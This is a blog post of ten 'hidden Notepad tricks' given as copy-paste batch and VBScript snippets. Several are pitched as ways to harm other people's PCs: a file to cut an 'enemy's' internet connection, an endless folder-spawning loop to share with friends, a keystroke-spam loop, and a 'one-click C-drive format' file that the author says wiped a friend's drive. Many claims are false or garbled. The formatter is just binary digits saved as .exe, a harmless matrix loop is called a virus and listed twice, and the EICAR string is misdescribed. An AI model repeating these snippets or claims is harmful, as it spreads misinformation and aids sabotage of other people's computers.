10 Hidden Notepad Tricks For Computer Wizards - Check Them Out Here

Notepad is simply a generic text editor included with all versions of Microsoft Windows that allows you to open and read plaintext files. It can be used for text formatting, font change, word wrap and page setup and even opening and editing of XML files although it is not the perfect option for doing that.

If you are familiar with windows PC, you should have known that Notepad 📒 is one of the default apps that comes with any Microsoft computer. It is very vital and important to any PC but i bet you don't know some of the hidden tricks you can pull out with this simple app.

Computers are filled with numerous features and most of the features are even hidden. Only the Wizards, geeks and gurus in the tech world knows about these tricks. Today, am going to reveal some of the top "computer Notepad tricks" i know and some i got via researching online. Follow me along...

NOTE 📝
This tutorial contains some dangerous techniques that might harm your computer or another person's computer. It is not intended to cause any damage or to be used against another person. It is just for knowledge and educational purposes, so apply the tricks with caution ⚠ Wizy won't be held responsible for any damage you cause to someone's PC with the application of these tricks!


TOP 10 NOTEPAD TRICKS YOU SHOULD TRY NOW

1. Continuous message repetition
This notepad trick works well for multitasking purposes. The trick allows you repeat messages continuously without doing it manually. To do this, you just have to copy the below code and paste on your notepad.

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "Type your message"
loop

After pasting it, just save the file as anyname.vbs, you need to make sure the file is in .vbs format for it to work. Next, open the file and see the trick in action. You will see something like this “type your message, just type anything and see how it will be repeated.


2. Trick To Create Computer Virus
One of the first Notepad trick i learned so many years ago was creating of computer virus. Although it wasn't meant for attaching other peoples computer as i was just practicing and being happy for knowing that trick.
There are different types of virus you can create with Notepad but in this post, i will only unveil one. Notepad can be used to generate a harmful virus for a system. once Please don’t try this on anyone, I’m just revealing for knowledge sake. Once the file is launched gbam!!! SYSTEM INFECTED. To create this file,

=> Open your Notepad program

=> Input the below codes in your notepad. Just copy and paste the codes.

@echo off
color 02
:start
echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%
goto start

=> Save the file as anyname.bat. You can choose to save the file using any name, but make sure it’s in .bat format.

=> Launch the saved files and you’ll have the matrix effect running on your desktop screen

3. Formatting C-Drive With One Click
You can also call this one another virus trick (if it is used dangerously) you can simply create a folder or file that if someone clicks on it, it will format the computer's C drive immediately.
I know of someone that managed to copy the file from my PC, thinking it’s a hidden stuff, because the folder was named “do no open” by me, after he copied the file to his system and launched it… you won't believe what happened next? Lol!!! 😁 The stuff is actually dangerous. It formatted his C drive without wasting time, just with one single click. So, do you like this trick? Okay, to create it, just launch your notepad, copy the below code and paste on your notepad.

01100110011011110111001001101101011000010111010000
100000011000110011101001011100
0010000000101111010100010010111101011000

After that, save the file as anyname.exe.
Be sure the file is saved in exe format because it is important. The file formats are very important in these tutorials. Once someone click on it, it will automatically delete everything on the computer C-drive. Even your own PC so don't try it on yours unless you have backup of your data.

4. Trick To Disable Someone's Internet Connection
Here is yet another dangerous Notepad trick to harm someone or your enemy. Please don't use this casually. Am not supporting wickedness and this tutorial is not intended to cause problem. With Notepad, you can create a harmful file that will automatically disconnect someone's PC internet connection. It release the entire data thus IP address would be lost.
It sounds bad right? Okay. To do this, just copy the below code and paste on your Notepad.

@echo off
Ipconfig /release

After that, save it with anyname.bat. Like i said earlier, it is very dangerous and immediately it is launched, the PC won't be able to connect to the Internet anymore but the only way out of this is by creating another file with this code “IPconfig /renew” without the quotes and the system will return back normally again.


5. Trick To Lock Computer Files
Sometime ago i published a post on this blog on How to lock your system files and folders for security reasons, i advice you to read the post and see how it is done alternatively. But to do it with another method using Notepad, just copy and paste the below code on your notepad.

cls
@ECHO OFF
title Folder Locker
if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK
if NOT EXIST Locker goto MDLOCKER
:CONFIRM
echo Are you sure u want to Lock the folder(Y/N)
set/p "cho=>"
if %cho%==Y goto LOCK
if %cho%==y goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Invalid choice.
goto CONFIRM
:LOCK
ren Locker "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
echo Folder locked
goto End
:UNLOCK
echo Enter password to Unlock folder
set/p "pass=>"
if NOT %pass%==YOUR PASSWORD HERE goto FAIL
attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" Locker
echo Folder Unlocked successfully
goto End
:FAIL
echo Invalid password
goto end
:MDLOCKER
md Locker
echo Locker created successfully
goto End
:End

From the above code, change the “YOUR PASSWORD HERE” to the password you want to use for file lock. After that, save the file as locker.bat or any name but remember it must be in .BAT format. Once the file is saved, to activate it, double click the file to create a folder, as a new folder named as locker would be created in same location as the file. Next thing to do is to move all the files you want to lock in the folder. Meanwhile, if you wish to unlock 🔓 the folder anytime, just go to the batch file created and double click on it, then type the password and and it will be unlocked 🔓

6. Trick To Force Windows To Shut Down
That face 😔 you wear when your windows PC refuses to shut down. 96% of computer users had experienced this one time or the other of their life and it's not funny honestly. But with the help of Notepad, you can create a file to initiate and force your system to shut down if it proves stubborn.
To do this, just copy and paste the below code in your notepad.

@echo off
* Shutdown computer
shutdown -c “Sleep Tight” –s

After that, save the file as shutdown.bat or any other name you wish but make sure it’s saved in BAT file format. From there you can shut down your system with one click.

7. Trick To Test Anti-virus
Forget about all those non-functioning anti-virus testing software you download. With Notepad, you can test how reliable an Antivirus app is.
It is very simple to create. Just open your notepad, copy and paste the below code to your notepad.

X5O!P%@AP4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

Once you have copied it, save the filename as anyname.exe. (make sure that the file is in exe file format). Now to test your the reliability of your system Antivirus app, just launch the file and as soon your antivirus attempts to delete the program, it simply indicates that the antivirus is reliable, but if not, your Antivirus is just dead and not functioning. So install another reliable one and make sure you update it regularly.

8. Matrix Effect Trick
This trick is for fun but can also act as virus. What it does is that it generates a matrix like windows which displays random numbers (in green colors) falling down like falling rains on your PC screen. You can use it to prank your friends and colleagues. They will think you are a professional programmer trying to write some programs. To achieve this follow the below steps

=> Open your Notepad program

=> Input the below codes in your notepad. Just copy and paste the codes.

@echo off
color 02
:start
echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%
goto start

=> Save the file as matrix.bat. You can choose to save the file using any name, but make sure it’s in .bat format.

=> Launch the saved files and you’ll have the matrix effect running on your desktop screen.

9. Trick To Make Unlimited Folders
Another virus lookalike trick. Do you know you can create unlimited folders 📁 on your system with Notepad trick? Alright, you as well use it on your friends to show them that you are a Wizard in Techs by creating a bat file of the trick and sharing it to your friends. To do this, copy and paste the below code on your Notepad.

@echo off
:start
md %random%
goto start

Now save the file as anyname.bat, bear in mind it must be in “.bat” format and launch the program and see watch what will happen.

10. Trick To Convert Text To Audio
Finally, do you know you can convert any text file into audio 👂 🔊? This reminds me when i was schooling, i created so many audio versions of my text books and notes and burned it to CD 💿. So even if am doing any other things like washing clothes, i will just be playing the CD and be learning at the same time. It really helped me.

Now to do this with Notepad, copy and paste the below code on your Notepad

Dim msg, sapi
msg=InputBox("Enter your text","Altechgeek audi0 converter")
Set sapi=CreateObject("sapi.spvoice")
sapi.Speak msg

Then save the file name with anyname.vbs (it must be saved with vbs format) then, launch the file on your computer; you’ll be asked to input text which would be converted to audio. Just type all the text you wish to convert to audio. Remember there are apps that you can use to also do this like "google text to speech" and "iPhone text to speech" on mobile devices

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Yea guys, Now you can use some of this tricks to achieve some vital tasks but don't use it with bad intentions. Although there are still some other tricks you can pull out with Notepad but i feel these ones are the major tricks for now. Do you have any other trick? Let us know.